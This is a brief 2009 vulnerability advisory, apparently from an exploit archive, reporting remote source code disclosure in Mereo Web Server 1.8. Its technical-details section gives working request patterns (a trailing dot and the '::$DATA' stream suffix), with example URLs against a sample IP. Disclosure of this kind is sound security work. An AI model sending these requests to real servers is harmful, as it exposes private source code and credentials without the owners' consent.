Mereo Web Server 1.8 Remote Source Code Disclosure

==================================================
Mereo Web Server 1.8 Remote Source Code Disclosure
==================================================


# Title: Mereo Web Server 1.8 Remote Source Code Disclosure
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Dr_IDE
# Published: 2009-09-25
# Verified: yes

view source
print?
#################################################################################
#
# Mereo Web Server v1.8 Multiple Remote Source Code Disclosure
# Found By:     Dr_IDE
# Tested On:    Windows XPSP3
#
#################################################################################
 
- Description -
 
Mereo Web Server v1.8 is a Windows based HTTP server. This is the latest version of
the application available.
 
Mereo is vulnerable to remote arbitrary source code disclosure by the following means.
 
- Technical Details -
 
    http://[ webserver IP]/[ file ][.]
    http://[ webserver IP]/[ file ][::$DATA]
     
    http://172.16.2.101/index.html.
    http://172.16.2.101/index.html::$DATA




#  0day.today [2018-03-10]  #